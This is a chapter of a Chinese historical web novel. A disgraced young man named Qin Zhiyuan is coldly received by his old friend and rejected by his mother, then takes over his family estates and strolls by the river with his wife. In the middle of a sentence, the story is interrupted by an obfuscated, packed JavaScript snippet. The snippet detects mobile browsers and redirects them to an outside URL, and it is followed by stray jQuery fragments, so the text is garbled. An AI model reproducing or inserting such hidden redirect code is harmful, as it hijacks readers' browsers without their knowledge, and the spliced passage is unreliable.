清河巷是歙县比较繁华热闹的一条小巷,巷子两旁的商铺鳞次栉比,绸缎庄、香料铺、茶坊、小吃摊一字排开,平日里十分热闹。
小巷里有一家翰墨斋,是一家百年书斋,正是秦知远的昔日挚友陈彦家的产业。
秦知远让车夫将马车停在巷子口,自己则带着顾安徒步走进了巷子。
巷中人流如织,叫卖声此起彼伏。小贩挑着担子穿梭其间,孩童追逐嬉闹,茶香、糕点香与香料气息混在一起,在窄窄的巷子里弥漫。
两人在翰墨斋门前站定,熟悉的门面再一次让秦知远陷入回忆。他抬头看了看门楣,上面的牌匾已换了新的,但字迹一如从前。据陈彦说,这字是歙县曾经的某任县令亲手提的,字迹端正雄浑,笔力遒劲,一看便是书法行家。
秦知远抬脚跨进书斋,左右环视,便见到了昔日好友陈彦正在整理书架。
秦知远压下心中的激动,轻声唤道,“阿彦,别来无恙。”
陈彦闻声回头,见到他时显然怔了一下,随即又似想到了什么,脸色堆起客套的笑容,“顾兄果真回来了,真是稀客,快快请坐,喝茶。”
这声“顾兄”,隔了千山万水。
秦知远原本激动的情绪“噗”地一下被摁灭,堵得胸口发痛。
他压下心中苦涩,问道:“阿彦怎地知道我回来了。”他心下还有些疑惑。
陈彦干笑两声并未回答,只问,“这次回来还走吗?”
秦知远摇摇头,“应是不走了吧。”
陈彦:“嗯……”
两人便无话了。
秦知远心下难受,刚想开口,却见有人进门。
陈彦连忙起身去迎,走前还对秦知远拱手致歉:“店里生意有些忙碌,见谅见谅。”
可书斋内明明还有闲来无事在擦灰扫尘的伙计。
秦知远坐了片刻,忽然觉得身心疲乏。
他起身走到陈彦身侧,向他拱手告辞。
陈彦放下客人,送他到门口,“好,顾兄慢走,有空常来。”
秦知远苦笑着点点头,跨出店门,向马车走去。
顾安亦步亦趋地跟在后面,心里也替主子难过。
上了马车,秦知远似乎明白了什么,他靠在车壁上,闭着眼睛一动不动,脸色有些苍白。
马车在青石板路面上行驶,车身微微摇晃,晃得他有些头晕。
回到老宅,秦知远没有回自己的院子,而是再次来到薛姨娘的小院门前。
他轻轻叩门,出来的依旧是周嬷嬷。
“周嬷嬷,麻烦您通禀一声,我想见娘亲一面。”秦知远声音低低的,似在哀求。
周嬷嬷为难极了,“少爷,姨奶奶不愿见您,您别为难老奴了。”
秦知远喉结滚动,低声恳请道,“嬷嬷,求您再替我通禀一声吧。”
周嬷嬷犹豫了半晌,最终还是点点头转身进院去了。
然而不一会儿,就听院内堂屋里传来茶盏摔碎的声音,然后便见周嬷嬷惶然地快步走了出来,语气哀切道:“少爷,您还是回吧。”
秦知远脸色惨白,“娘亲她……为什么不肯见我?”
“大少爷!”周嬷嬷终究不忍心,她压低声音道,“姨奶奶她是……是心里过不去。您在京城的事情传回来了,现在整个歙县都传得沸沸扬扬的。姨娘听了,气得三天没吃饭,她说……说没您这个儿子。”
意料之中的回答,秦知远却依旧心有不甘:“周嬷嬷,我是被人陷害的……”
“姨娘不信。”周嬷嬷眼圈红了,“她说,侯爷薄情寡义,生的儿子也定然不肖。她这辈子最后悔的,就是当年没一碗药……”话到嘴边又咽回去,“大少爷,您先回去吧。等姨娘气消了,或许就想开了……”
院门什么时候关上的,秦知远也不知道,他只是看着那紧闭的门扉,低矮的院墙,还有那几支探出墙头的蔷薇,愣愣地发着呆……
……………………
接下来的日子,秦知远没有再出门了,他就在自己的小院中和郑婉静静的过日子。
郑婉心疼他日日消沉,便亲手为他熬了甜羹。
她说,既然心里苦,便喝点甜暖的羹汤吧,也许心里能好过些。
甜羹清甜温润,入口不腻,暖意顺着心口化开,似乎真的把他心底的阴霾悄悄驱散了许多。
秦知远有些惊奇,他竟不知自己温婉可人的妻子竟还有这般手艺。他笑着真心地夸赞了一番。
郑婉见他喜欢,也十分欢喜,便许诺常常熬给他喝。
每日闲着无事可做,人便容易胡思乱想。秦知远便想着找些事做,让自己忙碌起来。
开私塾是行不通了,他的名声不好,不会有人家愿意把孩子交给他教。
于是他便从叔伯手中将靖安侯给他的那部分产业接手了过来,开始着手打理经营自己的家业,也渐渐忙了起来。
这些产业刚刚接手,许多账目混乱不清,他只得耐着性子一点一点理出头绪。
各个铺子的账本要逐一翻看,核对着进出数目;庄田呈报上来的收成与佃户情况要细细了解,还需斟酌今年的租子与修缮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182808|196969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费用。库房的存货也要挨样查看,核对数量与质量。
除此之外,还要与各处产业的管事、掌柜等人打交道,要摸清各人的脾气、能力与心思。
这些琐事千头万绪,想要一一理清,也需要花费不少心思,那些缠绕不去的愁绪与杂念,倒是被挤到了脑后,腾不出功夫胡思乱想了。
忙完这些,已是大半个月过去了,秦知远可是累得不轻,还隐隐有了病兆,有时会感到胸闷,偶尔也会咳嗽几声。
郑婉有些担心,劝他注意身体,秦知远便放下手里的俗务,带着她到城郊游玩。
暮春四月末,徽州歙县城南的郊外。
新安江畔的草地茵茵如毯,野花开得星星点点。暖风熏人,带着江水的湿润气息和远处山间草木的清香。
秦知远与郑婉两人沿着江岸缓步而行,看望着宽阔的江面,心境似乎也开阔了不少。
“这风真舒服。”秦知远深吸一口气,胸腔里虽有着隐隐的滞涩感,但比在屋子里闷着好很多了。
他指着江对岸黛青色的远山轮廓,“婉娘你看那座山。幼时我总是很好奇山的那边有什么,便总是拉着娘亲问,开始娘亲还细细地讲给我听,后来被我问的烦了,就告诉我那边全是野狼,专门喜欢吃白白嫩嫩的孩童,吓得我夜里都不敢睡觉。”
郑婉“噗嗤”笑出声,她顺着他指的方向望去,点头笑道:“是呢,云雾缭绕的,仿若仙境,难怪你会好奇。”
她遥望着眼前的景色,不由赞叹:“江南的山水美景,果真如诗如画,令人心醉。你以前不是最喜临描摹山水美景么?可惜这里没有纸笔。”
“无妨。”秦知远笑着摆手,眼神清亮,“看山是山,看水是水,心中有丘壑,何必拘泥于纸笔。况且,”他侧头看向郑婉,眼角带着柔和的笑意,“如今有你陪我共赏这山水美景,可比关在书房里对着纸笔描描画画要强上百倍。”
郑婉面上漾开温柔的笑意:“你就会说好听的哄我。以后等你得闲了,我们再往远处走走,都说读万卷书行万里路,不知其他的地方都是怎样光景……”
“好,都依你,现在暑气渐热,远行着实受罪,等入秋了天气凉爽一些,我们可以在江南东路地界游赏一番,定会有颇多趣味。”说着秦知远也不由生出几分向往。
他跟郑婉讲起自己年少游学时,沿途见到过的风物。说到兴起,还捡起一根枯枝,在松软的泥地上勾勒起他曾见过的民族部落奇异的服饰纹样。
郑婉半蹲在他身边,看着他“笔”下图画,听他口中叙述,似乎也入了迷。